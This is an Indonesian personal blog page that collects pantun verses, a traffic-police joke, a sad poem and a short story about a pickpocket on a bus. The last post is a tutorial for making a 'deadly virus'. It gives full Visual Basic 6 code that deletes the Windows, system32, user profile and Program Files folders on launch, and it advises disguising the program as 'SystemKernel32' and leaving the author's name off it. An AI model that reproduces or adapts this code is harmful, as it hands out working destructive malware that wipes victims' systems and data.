Berlangganan Posting Lewat E-Mail...??

Masukkan alamat E-mail anda untuk berlangganan : Click Subscibe

Delivered by FeedBurner

01.09

PANTUN

Anak ayam turun delapan
Mati satu tinggal lah tujuh
Hidup harus penuh harapan
Jadikan itu jalan yang dituju

Bunga yang malang jaga dirimu
Jangan lah layu sebelum kembang
Pupuklah iman dalam hatimu
Kalau kau layu di buang orang.


Anak ayam turun sepuluh
Mati satu tinggal sembilan
Tuntutlah ilmu dengan sungguh-sungguh
Supaya engkau tidak ketinggalan

Anak ayam turun sembilan
Mati satu tinggal delapan
Ilmu boleh sedikit ketinggalan
Tapi jangan sampai putus harapan

Di tepi kali saya menyinggah
Menghilang penat menahan jerat
Orang tua jangan disanggah
Agar selamat dunia akhirat

Pinang muda dibelah dua
Anak burung mati diranggah
Dari muda sampai ke tua
Ajaran baik jangan diubah

asam kendis asam gelugur
ke 3 asam riang riang
badan menangis di dlm kubur
teringat badan tak pernah sembahyang

Selengkapnya...

01.07

Seorang Polisi Batak (HUMOR)

Pada suatu hari ada seorang polisi batak sedang bertugas mengatur lalulintas,tiba-tiba dia melihat seorang pengendara motor yg seenaknya aja menerobos ketika lampu masih merah lalu "priiiiiiit!".


Dan pengendara motorpun di hampirinya dengan muka garang "Kutilang kau". kata polisi batak, pengendara motor terkejut dan mulai marah "Perkutut kau" katanya pada polisi batak,"Bah .. Ku tunjang kau nanti, kau bilang aku perkutut"

katanya menantang "Lah sampeyan bilangin saya kutilang piye?" protes pengendara itu,

"Oi amang maksudku kau aku tilang karena sudah melanggar lalu lintas" katanya dgn sdikit senyum

"Ohh tak kira bapak bilangin saya kutilang"

Selengkapnya...

01.06

MASIH ADAKAH SENYUMKU (PUISI)

Hatiku terasa hancur dan perih
saat raga ini berpisah dengan yang terkasih
Ku hanya bsa bersedih menatap dulu kembali
hingga kini senyumku tiada lagi
Aku sendiri disini
tiada satupun yang memahami
maksud dan isi hati ini

Mungkinkah cinta ini akan hilang
Dan takkan pernah datang
memberikan ketenangan pada hatiku yang bimbang
Kini senyumku sudah terhempas
dan takkan kulihat kebebasannya lagi
karena kini hanya tinggal luka
yang masih membekas dihati. . .


Selengkapnya...

01.04

”COPET . . . . ?” (Cerpen)

Sekali lagi kuperiksa dompetku. Alhamdulillah masih ada. Sebelum berangkat Ibu selalu berpesan agar aku berhati-hati di jalan, terutama saat dalam bus. Biasanya banyak copet beraksi di dalam bus, terlebih saat bus penuh dan para penumpang berdesak-desakan. Itu merupakan lahan empuk bagi para pencopet.
Seorang ibu berperawakan agak gemuk tersenyum kepadaku. Ibu itu duduk persis di sebelah kiriku. Di pangkuannya ada tas besar yang entah isinya apa.
“Adik mau kemana?” tanya ibu itu.
“Surabaya, Bu,” sahutku.
Ibu itu tersenyum. Meski sedikit gemuk, tapi ia terlihat cantik.
Lagi-lagi pesan Ibu terngiang di telingaku.
“Kamu harus hati-hati, Rin, jangan lekas percaya pada orang,” pesan Ibu menjelang keberangkatanku.
“Ingat, Rin, kalau tidak terlalu penting, jangan ngobrol dengan sembarang orang di dalam bus. Ibu takut kalau kamu kena hipnotis nanti,” lanjut ibu lagi.

Aku maklum dengan kecemasan Ibu yang berlebihan melepas kepergianku. Sebelumnya aku memang tidak pernah pergi sendiri. Kalau pergi ke mana-mana apalagi harus menempuh jarak jauh selalu ada keluarga atau setidaknya teman yang menyertai. Tapi kali ini aku terpaksa harus berangkat sendiri. Tak ada yang bisa menemaniku. Semuanya sibuk dengan kerjaan masing-masing.
“Iya, Bu, Ibu tidak usah khawatir,” sahutku singkat.
***
Udara sangat panas. Kukipas-kipaskan koran yang ada di tanganku. Lumayan dapat menghadirkan sedikit angin untuk mengusir gerah.
“Mau ngemil, Dik?” Ibu itu menawarkan sebungkus kacang goreng kepadaku.
“Terima kasih, Bu, saya masih kenyang.” Kutolak halus tawaran Ibu itu. Aku ingat pesan Ibu agar jangan sembarangan menerima tawaran orang untuk makan, sebab obat bius bisa dimasukkan melalui makanan.
“Astagfirullahaladzim…!” ucapku lirih. Aku tidak bermaksud berburuk sangka pada ibu itu, tapi aku hanya sekadar berhati-hati.
Bus berhenti. Ada penumpang yang naik. Seorang laki-laki berambut gondrong dan berpakaian agak lusuh. Sepertinya ia berasal dari golongan kelas bawah. Aku patut curiga dengan orang ini. Keterbatasan ekonomi mungkin saja membuatnya nekat. Hal-hal semacam itu sering aku lihat dalam tayangan kriminal di televisi. Jangan-jangan sasarannya kali ini adalah aku. Ih…aku bergidik. Jantungku berdetak makin cepat saat laki-laki itu memilih duduk tepat di sebelah kananku. Bau keringat menyeruak ke dalam penciumanku.
“Ya Allah, lindungi aku.” Kupegang tasku erat-erat. Aku harus hati-hati dengan laki-laki ini.
Sepanjang jalan perasaanku tidak tenang. Rasa hausku pun terpaksa kutahan. Aku tak berani membuka tasku untuk mengambil air kemasan di dalamnya. Aku takut kalau laki-laki di sampingku tahu segala isi tasku. Kulirik laki-laki gondrong di sebelahku. Ia diam terpaku di tempat duduknya, entah apa yang saat ini dipikirkannya.
Selang beberapa jam, bus berhenti. Laki-laki itu beranjak dari tempat duduknya. Rupanya ia sudah sampai di tempat yang ditujunya.
Aku menarik napas lega. Kuperiksanya tas kecilku. Alhamdulillah, dompetku masih ada. Kureguk air kemasan yang kubeli di terminal bus tadi. Lumayan untuk mengusir rasa haus yang kutahan sejak tadi.
Kulihat ibu di sebelahku begitu tenang terlelap. Suara bising dari pengamen di dalam bus seolah menjadi nyanyian pengantar tidurnya.
Untuk yang kesekian kalinya bus berhenti lagi. Seorang laki-laki seumuran kakakku masuk. Ia duduk di sebelahku. Pakaiannya bersih, rapi, dan wangi. Ia juga berkaca mata, sama seperti kakakku. Penampilannya sangat berbeda dengan laki-laki berambut gondorong tadi. Dari penampilannya, aku yakin bahwa ia orang baik-baik. Tak ada yang perlu kucurigai dari dia.
“Mau ke Surabaya, Mbak?” tanyanya sopan.
“Iya, Mas,” sahutku ringan.
“Mas mau ke Surabaya juga?” Aku balik bertanya.
Laki-laki itu mengangguk.
“Saya mau menjenguk saudara saya di Semarang,” katanya.
Aku senang, kali ini aku tidak perlu ketakutan seperti tadi. Aku aman. Kedua orang yang duduk di sebelahku adalah orang baik-baik. Akhirnya aku tenggelam dalam obrolan-obrolan ringan bersama laki-laki yang baru kukenal itu.
Bus berhenti.
“Permisi, Dik, saya duluan”. Rupanya ibu yang duduk di sebelahku sudah sampai di tempat tujuannya. Kugeser tubuhku agar ibu itu bisa lewat. Laki-laki di sebelah kananku pun juga melakukan hal yang sama, memberi jalan agar ibu bertubuh gemuk itu bisa lewat.
Kembali kuperiksa tasku. Aku tersenyum lega. Alhamdulillah dompetku masih ada.
“Kenapa, Mbak?”.
“Oh…eh… tidak apa-apa, Mas” Aku tersenyum malu. Rupanya laki-laki itu mengawasiku sejak tadi. Mungkin laki-laki itu heran melihatku yang segera memeriksa tas sepeninggal ibu itu tadi.
“Kita memang harus hati-hati, Mbak, banyak copet di mana-mana.” Laki-laki itu seolah dapat menebak jalan pikiranku.
“Kadang pencopet bisa berpura-pura sebagai orang baik dan mereka pun punya banyak cara untuk melancarkan aksinya,” lanjut laki-laki itu lagi.
Aku tersenyum sambil mengangguk-angguk. Sepertinya laki-laki ini tahu banyak tentang seluk-beluk copet. “Ah, mungkin dulunya ia pernah dicopet,” ungkapku dalam hati.
***
Angin berhembus masuk melalui jendela bus. Pinggangku terasa sudah mulai penat karena terlalu lama duduk. Kalau saja bus yang kutumpangi ini tidak sering berhenti, sudah sejak tadi aku tiba di Semarang. Kulirik arloji di pergelangan tanganku. Pukul 04.00 WIB. Laki-laki di sebelahku tertidur sejak tadi. Mungkin ia kelelahan sehingga tidak sanggup menahan kantuknya.
Bus kembali berhenti untuk menaikan penumpang. Kuharap ini adalah terakhir kalinya bus berhenti sebelum tiba di terminal. Aku tak ingin Paman Umar terlalu lama menungguku kedatanganku di terminal. Tiga orang penumpang naik. Sepasang suami isteri yang masih muda beserta anak mereka yang masih balita.
“Mas dan Mbak silakan duduk di sini, biar saya yang berdiri” Naluri kemanusiaanku muncul. Aku tak tega melihat mereka berdiri. Isterinya sedang hamil, sementara anaknya sedang terlelap dalam gendongan ayahnya.
“Terima kasih, Dik.” Mereka tersenyum ramah kepadaku. Tak ada yang perlu kucurigai dari mereka.
Alhamdulillah, aku senang, ternyata kekhawatiran Ibu tidak terbukti. Tak ada copet ataupun tukang bius di dalam bus yang kutumpangi ini.
Bus sudah memasuki kota Surabaya. Tak lama lagi kami akan tiba di terminal. Lumayan lelah juga berdiri, tapi tak apalah, sedikit berkorban untuk orang yang lebih memerlukan.
Bus kembali berhenti. Ternyata laki-laki yang tadi menjadi teman ngobrolku beserta satu orang penumpang lainnya yang turun.
“Saya duluan, Mbak,” katanya tergesa. Aku tersenyum.
“Mungkin laki-laki itu takut kalau busnya kembali jalan makanya ia buru-buru turun,” pikirku. Tak sempat kutangkap senyum puas terpancar dari bibirnya.
Selang beberapa menit kemudian, perlahan bus memasuki terminal. Penumpang berdesakan turun. Kuapit tasku kuat-kuat, tak akan kubiarkan tangan jahil menjarahnya. Kulihat Paman Umar dan Annisa, sepupuku yang masih kecil, tersenyum ke arahku. Mereka sengaja menjemputku di terminal.
“Selamat datang di Surabaya, Rin,” sambut Paman Umar. Kucium tangan beliau.
Annisa kecil merengek minta dibelikan es krim. Kuraih tangannya dan berjalan menghampiri penjual es.
“Mas, beli es krimnya satu,” pintaku pada penjual es.
“Berapa, Mas?” lanjutku lagi.
“Tiga ribu rupiah, Mbak,” sahut penjual es krim itu.
Akhirnya baru kusadari ada goresan silet di tasku. Tak dapat lagi kutangkap senyum ceria Annisa saat menerima es krim dari penjualnya karena yang ada semuanya gelap. Dompetku entah sudah berpindah ke mana.

Selengkapnya...

01.00

CARA MEMBUAT BUAT VIRUS MEMATIKAN

Gwe bikin nih tutorial buat bikin virus yg rada mematikan, tapi simple, dan kayanya sih ga bakal kedekteksi antivirus, soalnya cara kerjanya simple bgt
Yg diperluin:
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB
Tutorial Bikin Virus cman 1 mnt
1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
Kode yg warna biru itu penangkal nih virus, barang kali lu ga sengaja teken jadi lu slamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang ndiri… bisa lu edit koq jadi apa gitu…
Yang warna merah itu folder yg bakal didelete ama nih virus, lu edit ndiri aja…
4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain
5. Jangan pernah naroh nama lu di nih virus… k?
6. compile deh… slese!

Selamat Mencoba

Selengkapnya...

Pengikut

Supported by: